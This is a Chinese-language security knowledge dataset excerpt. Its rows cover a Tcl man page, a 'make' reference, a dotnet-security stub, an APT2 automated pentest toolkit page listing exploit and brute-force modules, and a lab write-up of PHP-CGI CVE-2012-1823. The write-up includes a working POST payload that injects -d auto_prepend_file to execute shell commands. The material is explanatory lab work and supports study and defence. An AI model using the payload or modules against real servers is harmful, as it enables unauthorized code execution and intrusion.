text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
'\"
'\" Copyright (c) 1994 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: fileevent.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: fileevent.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH fileevent 3tcl 7.5 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
fileevent \- 在一个通道变得可读或可写的时候执行一个脚本
.SH "总览 SYNOPSIS"
\fBfileevent \fIchannelId \fBreadable \fR?\fIscript\fR?
.sp
\fBfileevent \fIchannelId \fBwritable \fR?\fIscript\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
这个命令被用于建立\fI文件事件处理器\fR。一个文件事件处理器(handler)是在一个通道和一个脚本之间的一个绑定,这样在通道变得可读或可写的时候求这个脚本的值。通常使用文件事件处理器来允许在事件驱动的基础上从另一个进程接收数据,这样接受者可以在等待数据到来的时候继续与用户交互。如果一个应用在一个阻塞(模式下)的通道上调用 \fBgets\fR或 \fBread\fR,而此时没有可获得的数据,在输入数据到来之前,进程将被阻塞,它将不能服务于其他事件,所以对于用户它象是被“冷冻”了。使用 \fBfileevent\fR,进程可以在数据出现(present)的时候被告之,而只在不会导致阻塞的时候调用 \fBgets\fR或 \fBread\fR 。
.PP
给 \fBfileevent\fR的 \fIchannelId\fR 参数参照一个打开的通道,比如从以前的 \fBopen\fR 或 \fBsocket\fR 命令的得到的返回值。如果指定了 \fIscript\fR 参数,则 \fBfileevent\fR 建立一个新的事件处理器: 在通道变得可读或可写(依赖于给 \fBfileevent\fR 的第二个参数)的时候求 \fIscript\fR 的值。在这种情况下 \fBfileevent\fR 返回一个空串。对于一个文件 \fBreadable\fR 和 \fBwritable\fR事件处理器是独立的,可以单独的建立和删除。但是,在一个特定的解释器中在一个特定的时间上对于一个文件最多只能有一个\fBreadable\fR和一个 \fBwritable\fR 处理器。如果调用 \fBfileevent\fR而此时指定的处理器已经在调用的解释器中存在,新的脚本替换旧的那个。
.PP
如果没有指定 \fIscript\fR 参数,\fBfileevent\fR 为 \fIchannelId\fR返回当前的脚本,如果没有则返回一个空串。如果 指定 \fIscript\fR 参数为一个空串则删除这个事件处理器,如此将不会有脚本被调用。在一个通道被关闭或它的解释器被删除的时候文件的事件处理器也自动的被删除。
.PP
如果在底层的设备上有可获得的未读的数据则把一个通道考虑为可读的。除了要从这个通道读的最近的尝试是不能在输入缓冲中找到一个完整的行的一个 \fBgets\fR 调用的特殊情况之外,如果在一个输入缓冲中有未读的数据也把一个通道考虑未可读的。这个特征允许使用事件从一个在非阻塞模式下的文件中一次读一行。如果在底层的文件或设备上有文件结束或出错的条件出现也把一个通道考虑为可读的。对于 \fIscript\fR 检查这些条件和正确的处理它们是很重要的;例如,如果没有对文件结束的特定检查,可能发生一个无限的循环,这里\fIscript\fR 读不到数据,返回,立即重新调用。
.PP
如果至少数据中有一字节可以写到底层文件或设备中而不阻塞,或者在底层的文件或设备上有错误的条件出现则把一个通道考虑为可写的。
.PP
事件驱动 I/O 最好为使用 \fBfconfigure\fR 命令配置成非阻塞模式的通道工作。在阻塞模式下,如果你给它的数据比底层文件或数据可接受的多,则 \fBputs\fR 命令将阻塞,而如果你读的数据比已经准备好的多,则\fBgets\fR 或 \fBread\fR 命令将阻塞;在命令阻塞时不处理事件。在非阻塞模式下,\fBputs\fR、\fBread\fR和 \fBgets\fR从不阻塞。参见这些单独命令的文档来得到关于它们如何处理阻塞和非阻塞通道的信息。
.PP
给一个文件事件的脚本在调用\fBfileevent\fR 命令的解释器的全局的层次上执行(在任何 Tcl 过程的上下文之外)。如果在执行脚本期间发生了错误则使用 \fBbgerror\fR 机制来报告错误。额外的,如果一个事件处理器曾经返回错误则删除它;目的是防止缺陷很多的处理器导致无限循环。
.SH "感谢 CREDITS"
.PP
\fBfileevent\fR 基于由 Mark Diekhans 建立的 \fBaddinput\fR 命令。
.SH "参见 SEE ALSO"
bgerror(n), fconfigure(n), gets(n), puts(n), read(n)
.SH "关键字 KEYWORDS"
asynchronous I/O, blocking, channel, event handler, nonblocking, readable,
script, writable.
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/08/13
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# PHP-CGI远程代码执行漏洞(CVE-2012-1823)
## 原理
- 参考文章 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
- 影响版本 php < 5.3.12 or php < 5.4.2
## 测试环境
编译及运行环境:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080/`可见“Hello”字样。
访问`http://your-ip:8080/index.php?-s`即爆出源码,说明漏洞存在。发送如下数据包,可见Body中的代码已被执行:
```
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("id"); ?>
```
## 漏洞解读
### PHP SAPI 与运行模式
首先,介绍一下PHP的运行模式。
下载PHP源码,可以看到其中有个目录叫sapi。sapi在PHP中的作用,类似于一个消息的“传递者”,比如我在《[Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写](https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html)》一文中介绍的fpm,他的作用就是接受Web容器通过fastcgi协议封装好的数据,并交给PHP解释器执行。
除了fpm,最常见的sapi应该是用于Apache的mod_php,这个sapi用于php和apache之间的数据交换。
php-cgi也是一个sapi。在远古的时候,web应用的运行方式很简单,web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork出一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行,这种执行方式一般就被称为cgi,在安装Apache的时候默认有一个cgi-bin目录,最早就是放置这些cgi脚本用的。
但cgi模式有个致命的缺点,众所周知,进程的创建和调度都是有一定消耗的,而且进程的数量也不是无限的。所以,基于cgi模式运行的网站通常不能同时接受大量请求,否则每个请求生成一个子进程,就有可能把服务器挤爆。于是后来就有了fastcgi,fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接受数据包,执行后返回结果,但自身并不退出。
php有一个叫php-cgi的sapi,php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就说,我们可以像perl一样,让web容器直接fork一个php-cgi进程执行某脚本;也可以在后台运行`php-cgi -b 127.0.0.1:9000`(php-cgi作为fastcgi的管理器),并让web容器用fastcgi协议和9000交互。
那我之前说的fpm又是什么呢?为什么php有两个fastcgi管理器?php确实有两个fastcgi管理器,php-cgi可以以fastcgi模式运行,fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的,是一个更高效的fastcgi管理器,其诸多优点我就不多说了,可以自己去翻翻源码。因为fpm优点更多,所以现在越来越多的web应用使用php-fpm去运行php。
### 历史成因
回到本漏洞。CVE-2012-1823就是php-cgi这个sapi出现的漏洞,我上面介绍了php-cgi提供的两种运行方式:cgi和fastcgi,本漏洞只出现在以cgi模式运行的php中。
这个漏洞简单来说,就是用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。
探究一下原理,[RFC3875](http://www.ietf.org/rfc/rfc3875)中规定,当querystring中不包含没有解码的`=`号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能。
但PHP并没有注意到RFC的这一个规则,也许是曾经注意并处理了,处理方法就是web上下文中不允许传入参数。但在2004年的时候某个开发者发表过这么一段言论:
```
From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)
In our SAPI cgi we have a check along these lines:
if (getenv("SERVER_SOFTWARE")
|| getenv("SERVER_NAME")
|| getenv("GATEWAY_INTERFACE")
|| getenv("REQUEST_METHOD")) {
cgi = 1;
}
if(!cgi) getopt(...)
As in, we do not parse command line args for the cgi binary if we are
running in a web context. At the same time our regression testing system
tries to use the cgi binary and it sets these variables in order to
properly test GET/POST requests. From the regression testing system we
use -d extensively to override ini settings to make sure our test
environment is sane. Of course these two ideas conflict, so currently our
regression testing is somewhat broken. We haven't noticed because we
don't have many tests that have GET/POST data and we rarely build the cgi
binary.
The point of the question here is if anybody remembers why we decided not
to parse command line args for the cgi version? I could easily see it
being useful to be able to write a cgi script like:
#!/usr/local/bin/php-cgi -d include_path=/path
<?php
...
?>
and have it work both from the command line and from a web context.
As far as I can tell this wouldn't conflict with anything, but somebody at
some point must have had a reason for disallowing this.
-Rasmus
```
显然,这位开发者是为了方便使用类似`#!/usr/local/bin/php-cgi -d include_path=/path`的写法来进行测试,认为不应该限制php-cgi接受命令行参数,而且这个功能不和其他代码有任何冲突。
于是,`if(!cgi) getopt(...)`被删掉了。
但显然,根据RFC中对于command line的说明,命令行参数不光可以通过`#!/usr/local/bin/php-cgi -d include_path=/path`的方式传入php-cgi,更可以通过querystring的方式传入。
这就是本漏洞的历史成因。
### 漏洞利用
那么,可控命令行参数,能做些什么事。
通过阅读源码,我发现cgi模式下有如下一些参数可用:
- `-c` 指定php.ini文件的位置
- `-n` 不要加载php.ini文件
- `-d` 指定配置项
- `-b` 启动fastcgi进程
- `-s` 显示文件源码
- `-T` 执行指定次该文件
- `-h`和`-?` 显示帮助
最简单的利用方式,当然就是`-s`,可以直接显示源码:

但阅读过我写的fastcgi那篇文章的同学应该很快就想到了一个更好的利用方法:通过使用`-d`指定`auto_prepend_file`来制造任意文件包含漏洞,执行任意代码:

注意,空格用`+`或`%20`代替,`=`用url编码代替。
### CVE-2012-2311
这个漏洞被爆出来以后,PHP官方对其进行了修补,发布了新版本5.4.2及5.3.12,但这个修复是不完全的,可以被绕过,进而衍生出CVE-2012-2311漏洞。
PHP的修复方法是对`-`进行了检查:
```c
if(query_string = getenv("QUERY_STRING")) {
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
skip_getopt = 1;
}
free(decoded_query_string);
}
```
可见,获取querystring后进行解码,如果第一个字符是`-`则设置skip_getopt,也就是不要获取命令行参数。
这个修复方法不安全的地方在于,如果运维对php-cgi进行了一层封装的情况下:
```
#!/bin/sh
exec /usr/local/bin/php-cgi $*
```
通过使用空白符加`-`的方式,也能传入参数。这时候querystring的第一个字符就是空白符而不是`-`了,绕过了上述检查。
于是,php5.4.3和php5.3.13中继续进行修改:
```c
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}
```
先跳过所有空白符(小于等于空格的所有字符),再判断第一个字符是否是`-`。
|
sec-knowleage
|
---
title: APT2
categories: Information Gathering
tags: [kali linux,APT2,information gathering,Penetration]
date: 2019-04-19 17:47:00
---
APT2 Package Description
========================
自动渗透测试工具包。
此工具将执行NMap扫描,或从Nexpose,Nessus或NMap导入扫描结果。 处理结果将用于根据可配置的安全级别和枚举服务信息启动漏洞利用和枚举模块。
所有模块结果都存储在localhost中,并且是APT2知识库(KB)的一部分。 可以从应用程序中访问KB,并允许用户查看漏洞利用模块的收集结果。
工具来源: https://github.com/MooseDojo/apt2
[主页][1] | [仓库][2]
作者:Adam Compton 、 Austin Lane
证书:MIT
APT2 帮助
=========
```
root@kali:~# apt2 -h
用法: apt2 [-h] [-C <config.txt>] [-f [<input file> [<input file> ...]]]
[--target] [--ip <local IP>] [-v] [-s SAFE_LEVEL]
[-x EXCLUDE_TYPES] [-b] [--listmodules]
可选参数:
-h, --help 显示此帮助消息并退出
-v, --verbosity 增加输出冗长度
-s SAFE_LEVEL, --safelevel SAFE_LEVEL
设置模块的最低安全级别。0表示不安全,5表示非常安全。
默认值为4
-x EXCLUDE_TYPES, --exclude EXCLUDE_TYPES
指定要从运行得模块中排除的类型,用逗号分隔
-b, --bypassmenu 绕过菜单并从命令行参数运行
输入:
-C <config.txt> 配置文件
-f [<input file> [<input file> ...]]
由空格分隔的一个或多个输入文件
--target 初始扫描目标
高级选项:
--ip <local IP> 默认值为 192.168.103.227
其他:
--listmodules 列出当前所有模块并退出
root@kali:~#
root@kali:~#
root@kali:~# apt2 --listmodules | grep '|' | sort | grep -v 'Module.*Type.*Description'
[*] | anonftp | action | 4 | Test for Anonymous FTP |
[*] | anonldap | action | 5 | Test for Anonymous LDAP Searches |
[*] | apt2_ipwhois | action | 5 | run ipwhois |
[*] | apt2_shodan | action | 5 | run shodan |
[*] | apt2_whois | action | 5 | run whois |
[*] | crackPasswordHashJohnTR | action | 5 | Attempt to crack any password hashes |
[*] | dictload | input | None | Load DICT Input File |
[*] | gethostname | action | 5 | Determine the hostname for each IP |
[*] | httpoptions | action | 5 | Get HTTP Options |
[*] | httpscreenshot | action | 5 | Get Screen Shot of Web Pages |
[*] | httpserverversion | action | 5 | Get HTTP Server Version |
[*] | hydrasmbpassword | action | 2 | Attempt to bruteforce SMB passwords |
[*] | impacketsecretsdump | action | 5 | Test for NULL Session |
[*] | msf_dumphashes | action | 4 | Gather hashes from MSF Sessions |
[*] | msf_gathersessioninfo | action | 4 | Get Info about any new sessions |
[*] | msf_javarmi | action | 5 | Attempt to Exploit A Java RMI Service |
[*] | msf_jboss_maindeployer | action | 3 | Attempt to gain shell via Jboss |
[*] | msf_jboss_vulnscan | action | 4 | Attempt to determine if a jboss instance has default creds |
[*] | msf_ms08_067 | action | 4 | Attempt to exploit MS08-067 |
[*] | msf_openx11 | action | 5 | Attempt Login To Open X11 Service |
[*] | msf_psexec_pth | action | 4 | Attempt to authenticate via PSEXEC PTH |
[*] | msf_smbuserenum | action | 5 | Get List of Users From SMB |
[*] | msf_snmpenumshares | action | 5 | Enumerate SMB Shares via LanManager OID Values |
[*] | msf_snmpenumusers | action | 5 | Enumerate Local User Accounts Using LanManager/psProcessUsername OID Values |
[*] | msf_snmplogin | action | 5 | Attempt Login Using Common Community Strings |
[*] | msf_tomcat_mgr_login | action | 4 | Attempt to determine if a tomcat instance has default creds |
[*] | msf_tomcat_mgr_upload | action | 3 | Attempt to gain shell via Tomcat |
[*] | msf_vncnoneauth | action | 5 | Detect VNC Services with the None authentication type |
[*] | nmaploadxml | input | None | Load NMap XML File |
[*] | nmapms08067scan | action | 4 | NMap MS08-067 Scan |
[*] | nmapnfsshares | action | 5 | NMap NFS Share Scan |
[*] | nmapsmbshares | action | 5 | NMap SMB Share Scan |
[*] | nmapsmbsigning | action | 5 | NMap SMB-Signing Scan |
[*] | nmapsslscan | action | 5 | NMap SSL Scan |
[*] | nmapvncbrute | action | 5 | NMap VNC Brute Scan |
[*] | nullsessionrpcclient | action | 5 | Test for NULL Session |
[*] | nullsessionsmbclient | action | 5 | Test for NULL Session |
[*] | openx11 | action | 5 | Attempt Login To Open X11 Servicei and Get Screenshot |
[*] | reportgen | report | None | Generate HTML Report |
[*] | responder | action | 3 | Run Responder and watch for hashes |
[*] | searchftp | action | 4 | Search files on FTP |
[*] | searchnfsshare | action | 4 | Search files on NFS Shares |
[*] | searchsmbshare | action | 4 | Search files on SMB Shares |
[*] | snmpwalk | action | 5 | Run snmpwalk using found community string |
[*] | sslsslscan | action | 5 | Determine SSL protocols and ciphers |
[*] | ssltestsslserver | action | 5 | Determine SSL protocols and ciphers |
[*] | userenumrpcclient | action | 5 | Get List of Users From SMB
root@kali:~#
```
APT2 用法示例
============
```
root@kali:~# msfdb start
[+] Starting database
root@kali:~#
root@kali:~# msfconsole -q -x 'load msgrpc User=msf Pass=msfpass ServerPort=55552'
/usr/share/metasploit-framework/lib/msf/core/opt.rb:55: 警告: constant OpenSSL::SSL::SSLContext::METHODS is deprecated
[*] MSGRPC Service: 127.0.0.1:55552
[*] MSGRPC Username: msf
[*] MSGRPC Password: msfpass
[*] Successfully loaded plugin: msgrpc
msf >
root@kali:~# apt2 -s 0 -b --target 192.168.103.128
[*]
[*] dM. `MMMMMMMb. MMMMMMMMMM
[*] ,MMb MM `Mb / MM \
[*] d'YM. MM MM MM ____
[*] ,P `Mb MM MM MM 6MMMMb
[*] d' YM. MM .M9 MM MM' `Mb
[*] ,P `Mb MMMMMMM9' MM ,MM
[*] d' YM. MM MM ,MM'
[*] ,MMMMMMMMb MM MM ,M'
[*] d' YM. MM MM ,M'
[*] _dM_ _dMM_MM_ _MM_MMMMMMMM
[*]
[*]
[*] An Automated Penetration Testing Toolkit
[*] Written by: Adam Compton & Austin Lane
[*] Verion: 1.0.0
[!] Module 'apt2_shodan' disabled:
[!] API key is missing
[!] Module 'searchnfsshare' disabled:
[!] Module Manually Disabled !!!
[*] Input Modules Loaded: 2
[*] Action Modules Loaded: 43
[*] Report Modules Loaded: 1
[*]
[*] The KnowledgeBase will be auto saved to : /root/.apt2/proofs/KB-egghavrdqa.save
[*] Local IP is set to : 192.168.103.227
[*] If you would rather use a different IP, then specify it via the [--ip <ip>] argument.
[*] Scan file saved to [/root/.apt2/proofs/NMAP-nmapScan192.168.103.128-fvqoswtplf]
[*] Use the following controls while scans are running:
[*] Starting responder...
[*] - p - pause/resume event queueing
[!] VULN [NULLSession] Found on [192.168.103.128]
[*] Current # of Active Threads = [10]
[*] ==> Responder, GetHostname, MSFJbossVulnscan, MSFTomcatMgrLogin, MSFJbossVulnscan, MSFTomcatMgrLogin, NmapMS08067Scan, NmapSMBSigning, NmapSMBShareScan, MSFSMBUserEnum
[*] Current # of Active Threads = [10]
[*] ==> Responder, GetHostname, MSFJbossVulnscan, MSFTomcatMgrLogin, MSFJbossVulnscan, MSFTomcatMgrLogin, NmapMS08067Scan, NmapSMBSigning, NmapSMBShareScan, MSFSMBUserEnum
[*] Current # of Active Threads = [9]
[*] ==> Responder, MSFJbossVulnscan, MSFTomcatMgrLogin, MSFJbossVulnscan, MSFTomcatMgrLogin, NmapMS08067Scan, NmapSMBSigning, NmapSMBShareScan, MSFSMBUserEnum
[*] Scan file saved to [/root/.apt2/proofs/NMAP-192.168.103.128_MS08067SCAN-ughssbeike]
[*] Scan file saved to [/root/.apt2/proofs/NMAP-192.168.103.128_SMBSINGINGSCAN-mcjojhzjny]
[*] Scan file saved to [/root/.apt2/proofs/NMAP-192.168.103.128_SMBSHARESCAN-idhndqdplo]
[*] Current # of Active Threads = [6]
[*] ==> Responder, MSFJbossVulnscan, MSFTomcatMgrLogin, MSFJbossVulnscan, MSFTomcatMgrLogin, MSFSMBUserEnum
[*] Current # of Active Threads = [6]
[*] ==> Responder, MSFJbossVulnscan, MSFTomcatMgrLogin, MSFJbossVulnscan, MSFTomcatMgrLogin, MSFSMBUserEnum
[*] Current # of Active Threads = [6]
[*] ==> Responder, MSFJbossVulnscan, MSFTomcatMgrLogin, MSFJbossVulnscan, MSFTomcatMgrLogin, MSFSMBUserEnum
[*] Current # of Active Threads = [1]
[*] ==> Responder
[*] Current # of Active Threads = [1]
[*] ==> Responder
[*] Current # of Active Threads = [1]
[*] ==> Responder
[*] Generating Reports
[*] Report file located at /root/.apt2/reports/reportGenHTML_shfrqjwgxs.html
[*]
[*] Good Bye!
root@kali:~#
root@kali:~#
root@kali:~# tree /root/.apt2/
/root/.apt2/
├── logs
│ └── processlog.txt
├── proofs
│ ├── httpOptions_192.168.103.128_80_vnkzicnlst
│ ├── HTTPServerVersion_192.168.103.128_443_tzeexsuztp
│ ├── HTTPServerVersion_192.168.103.128_80_awllaokxlc
│ ├── KB-egghavrdqa.save
│ ├── MSFJbossVulnscan_192.168.103.128_bcchobmmzp
│ ├── MSFJbossVulnscan_192.168.103.128_mbpdgqtezt
│ ├── MSFSMBUserEnum_192.168.103.128_krcyxrdotc
│ ├── MSFTomcatMgrLogin_192.168.103.128_pqvkxxjweb
│ ├── MSFTomcatMgrLogin_192.168.103.128_stccicqbwu
│ ├── NMAP-192.168.103.128_MS08067SCAN-ughssbeike.gnmap
│ ├── NMAP-192.168.103.128_MS08067SCAN-ughssbeike.nmap
│ ├── NMAP-192.168.103.128_MS08067SCAN-ughssbeike.xml
│ ├── NMAP-192.168.103.128_SMBSHARESCAN-idhndqdplo.gnmap
│ ├── NMAP-192.168.103.128_SMBSHARESCAN-idhndqdplo.nmap
│ ├── NMAP-192.168.103.128_SMBSHARESCAN-idhndqdplo.xml
│ ├── NMAP-192.168.103.128_SMBSINGINGSCAN-mcjojhzjny.gnmap
│ ├── NMAP-192.168.103.128_SMBSINGINGSCAN-mcjojhzjny.nmap
│ ├── NMAP-192.168.103.128_SMBSINGINGSCAN-mcjojhzjny.xml
│ ├── NMAP-nmapScan192.168.103.128-fvqoswtplf.gnmap
│ ├── NMAP-nmapScan192.168.103.128-fvqoswtplf.nmap
│ ├── NMAP-nmapScan192.168.103.128-fvqoswtplf.xml
│ ├── nmblookup_192.168.103.128_fkiytphaty
│ ├── nmblookup_192.168.103.128_jhklrjsumn
│ ├── nmblookup_192.168.103.128_pcbiyotbkm
│ ├── NULLSessionRpcClient_192.168.103.128_lfidievfys
│ ├── NULLSessionSmbClient_192.168.103.128_kgixcdjuse
│ ├── Responder_rlxujzjrqo
│ ├── Responder_tgtekbrxou
│ └── UserEnumRpcClient_192.168.103.128_nehnpiwedo
├── reports
│ └── reportGenHTML_shfrqjwgxs.html
└── tmp
4 directories, 31 files
root@kali:~#
root@kali:~#
root@kali:~# firefox /root/.apt2/reports/reportGenHTML_shfrqjwgxs.html
```
[1]: https://github.com/MooseDojo/apt2
[2]: http://git.kali.org/gitweb/?p=packages/apt2.git
|
sec-knowleage
|
make
===
GNU的工程化编译工具
## 补充说明
**make命令** 是GNU的工程化编译工具,用于编译众多相互关联的源代码文件,以实现工程化的管理,提高开发效率。
### 语法
```shell
make(选项)(参数)
```
### 选项
```shell
-f:指定“makefile”文件;
-i:忽略命令执行返回的出错信息;
-s:沉默模式,在执行之前不输出相应的命令行信息;
-r:禁止使用build-in规则;
-n:非执行模式,输出所有执行命令,但并不执行;
-t:更新目标文件;
-q:make操作将根据目标文件是否已经更新返回"0"或非"0"的状态信息;
-p:输出所有宏定义和目标文件描述;
-d:Debug模式,输出有关文件和检测时间的详细信息。
```
Linux下常用选项与Unix系统中稍有不同,下面是不同的部分:
```shell
-c dir:在读取 makefile 之前改变到指定的目录dir;
-I dir:当包含其他 makefile文件时,利用该选项指定搜索目录;
-h:help文挡,显示所有的make选项;
-w:在处理 makefile 之前和之后,都显示工作目录。
```
### 参数
目标:指定编译目标。
### 知识扩展
无论是在linux 还是在Unix环境 中,make都是一个非常重要的编译命令。不管是自己进行项目开发还是安装应用软件,我们都经常要用到make或make install。利用make工具,我们可以将大型的开发项目分解成为多个更易于管理的模块,对于一个包括几百个源文件的应用程序,使用make和 makefile工具就可以简洁明快地理顺各个源文件之间纷繁复杂的相互关系。
而且如此多的源文件,如果每次都要键入gcc命令进行编译的话,那对程序员 来说简直就是一场灾难。而make工具则可自动完成编译工作,并且可以只对程序员在上次编译后修改过的部分进行编译。
因此,有效的利用make和 makefile工具可以大大提高项目开发的效率。同时掌握make和makefile之后,您也不会再面对着Linux下的应用软件手足无措了。
|
sec-knowleage
|
# dotnet安全
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**教程**
